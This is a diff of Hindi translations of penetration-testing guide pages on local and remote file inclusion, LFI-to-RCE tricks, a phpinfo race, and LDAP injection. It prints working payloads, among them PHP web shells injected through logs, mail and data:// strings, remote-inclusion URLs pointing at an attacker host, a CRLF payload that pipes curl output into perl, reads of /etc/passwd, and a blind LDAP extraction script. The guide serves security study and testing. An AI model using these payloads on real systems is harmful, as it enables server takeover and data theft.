- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहे।
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: प्रयास और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाएं लेकिन वांछित पथ (`/etc/passwd`) बरकरार रहे।
- **एक नकली डायरेक्टरी से शुरू करना**: पथ को एक गैर-मौजूद डायरेक्टरी (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php में यह डिफ़ॉल्ट रूप से बंद है क्योंकि **`allow_url_include`** **Off** है। इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:
In php यह डिफ़ॉल्ट रूप से बंद है क्योंकि **`allow_url_include`** **Off** है। इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग कर सकते हैं और RCE प्राप्त कर सकते हैं:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -166,18 +166,18 @@ In python in a code like this one:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
यदि उपयोगकर्ता **`file_name`** के लिए **absolute path** पास करता है, तो **पिछला पथ बस हटा दिया जाता है**:
यदि उपयोगकर्ता **`file_name`** के लिए **पूर्ण पथ** प्रदान करता है, तो **पिछला पथ बस हटा दिया जाता है**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
यह इच्छित व्यवहार है [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार:
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक फेंक दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
## Java सूची निर्देशिकाएँ
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की एक सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की एक सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (afaik)।
## शीर्ष 25 पैरामीटर
@ -271,9 +271,9 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> भाग "php://filter" केस संवेदनशील नहीं है
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल के रूप में
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का **boolean exfiltration (char by char)** के रूप में ऑरेकल के रूप में आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का एक **boolean exfiltration (char by char)** के रूप में ऑरेकल के रूप में आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
@ -281,7 +281,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
- **dechunk** फ़िल्टर **पहले वर्ण को हटाएगा यदि यह एक हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला वर्ण हेक्स है या नहीं।
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि जब हम इसे हेक्साडेसिमल वर्ण नहीं बनाने के लिए पर्याप्त परिवर्तन करते हैं। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब एक हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, उदाहरण के लिए, क्योंकि यदि हम इस कोडेक का 6 बार उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
- जब प्रारंभिक वर्ण एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। आदेश मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके वर्णों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर प्राप्त करना संभव है।
@ -337,7 +337,7 @@ http://example.com/index.php?page=expect://ls
```
### input://
अपने पेलोड को POST पैरामीटर में निर्दिष्ट करें:
अपने payload को POST पैरामीटर में निर्दिष्ट करें:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
@ -358,9 +358,9 @@ php --define phar.readonly=0 create_path.php
```
कार्यान्वयन के दौरान, `test.phar` नामक एक फ़ाइल बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी फ़ंक्शंस के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी फ़ंक्शंस के माध्यम से, एक डीसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
`.phar` फ़ाइलों के संदर्भ में deserialization कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
`.phar` फ़ाइलों के संदर्भ में डीसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,8 +370,8 @@ phar-deserialization.md
### CVE-2024-2961
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखने** में सक्षम हो सकें, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)****\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके।
### अधिक प्रोटोकॉल
@ -408,9 +408,9 @@ assert("strpos('$file', '..') === false") or die("");
## PHP ब्लाइंड पाथ ट्रैवर्सल
> [!WARNING]
> यह तकनीक उन मामलों में प्रासंगिक है जहा आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
> यह तकनीक उन मामलों में प्रासंगिक है जहा आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि रेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि रेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
@ -418,7 +418,7 @@ assert("strpos('$file', '..') === false") or die("");
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इस पर)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाच करें!
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाच करें!
## LFI2RCE
@ -431,7 +431,7 @@ assert("strpos('$file', '..') === false") or die("");
यदि अपाचे या एनजिनक्स सर्वर **LFI के लिए कमजोर** है तो आप समावेश फ़ंक्शन के अंदर **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
> [!WARNING]
> ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं** बजाय **साधारण कोट्स के**, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहा एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**
> ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं** बजाय **साधारण कोट्स के**, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहा एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**
>
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि करेगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
@ -452,11 +452,11 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### ईमेल के माध्यम से
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
1. बहुत सारे शेल अपलोड करें (उदाहरण: 100)
1. बहुत सारे शेल अपलोड करें (उदाहरण के लिए: 100)
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
### /proc/self/environ के माध्यम से
@ -506,14 +506,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **Via** **vsftpd** _**logs**_
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम पर विचार किया जा सकता है:
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम उठाए जा सकते हैं:
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
### Via php base64 filter (using base64)
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
यदि आपने **Local File Inclusion** पाया है भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
{{#ref}}
via-php_session_upload_progress.md
@ -567,7 +567,7 @@ lfi2rce-via-temp-file-uploads.md
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
यह CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से [**यहाँ**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
यह एक CRLF कमजोरियों का दुरुपयोग करके RCE प्राप्त करता है (से [**यहाँ**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
यदि आप LFI का दुरुपयोग करके **अस्थायी फ़ाइलें अपलोड** कर सकते हैं और सर्वर को **PHP निष्पादन को लटकाने** के लिए मजबूर कर सकते हैं, तो आप **घंटों तक फ़ाइल नामों का ब्रूट फोर्स** कर सकते हैं ताकि अस्थायी फ़ाइल को खोज सकें:
यदि आप LFI का दुरुपयोग करके **अस्थायी फ़ाइलें अपलोड** कर सकते हैं और सर्वर को **PHP निष्पादन को लटकाने** के लिए मजबूर कर सकते हैं, तो आप **घंटों तक फ़ाइल नामों का ब्रूट फोर्स** कर सकते हैं ताकि अस्थायी फ़ाइल मिल सके:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,9 +10,11 @@
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
आपको **payload** को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), **REQ1** (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), और **LFIREQ** (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ शून्य वर्ण का शोषण करते समय डबल "%" की जांच करें)
आपको **payload** को भी बदलना होगा जो हमले की शुरुआत में है (उदाहरण के लिए, php-rev-shell के लिए), **REQ1** (यह phpinfo पृष्ठ की ओर इशारा करना चाहिए और इसमें padding शामिल होनी चाहिए, यानी: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), और **LFIREQ** (यह LFI भेद्यता की ओर इशारा करना चाहिए, यानी: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ जब null char का शोषण करते समय डबल "%" की जांच करें)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### सिद्धांत
@ -22,11 +24,11 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं।
**linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **अस्थायी फ़ाइल के नाम को कहीं से निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
**Linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
**phpinfo()**
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **कई बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर द्वारा फ़ाइल हटाए जाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **बहुत सारे बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर फ़ाइल को हटाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**
**नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)**
```python

View File

@ -16,19 +16,21 @@
**LDAP Injection** एक हमला है जो वेब अनुप्रयोगों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP कथन बनाते हैं। यह तब होता है जब अनुप्रयोग **इनपुट को सही तरीके से साफ़ करने में विफल रहता है**, जिससे हमलावरों को **LDAP कथनों में हेरफेर** करने की अनुमति मिलती है, जो संभावित रूप से अनधिकृत पहुंच या डेटा हेरफेर का कारण बन सकता है।
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**Filter** = ( filtercomp )\
**Filtercomp** = और / या / नहीं / आइटम\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= सरल / उपस्थित / उपस्ट्रिंग\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[प्रारंभिक] \* \[अंतिम]\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
@ -56,7 +58,7 @@
### Login Bypass
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड के अंदर जो भी डालें, वह हैश किया गया हो।
LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप जो भी पासवर्ड में डालें, वह हैश किया गया हो।
```bash
user=*
password=*
@ -131,7 +133,7 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### डेटा डंप करें
#### Dump data
आप ascii अक्षरों, अंकों और प्रतीकों पर पुनरावृत्ति कर सकते हैं:
```bash
@ -148,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **मान्य LDAP फ़ील्ड खोजें**
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने** के लिए उपयोग किया जा सकता है। आप **उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ** रखते हैं जो **जानकारी सहेजने** के लिए उपयोग की जा सकती हैं। आप **उन सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं ताकि उस जानकारी को निकाला जा सके।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) पा सकते हैं।
```python
#!/usr/bin/python3
import requests
@ -197,7 +199,7 @@ flag += char
print("[+] Flag: " + flag)
break
```
### गूगल डॉर्क्स
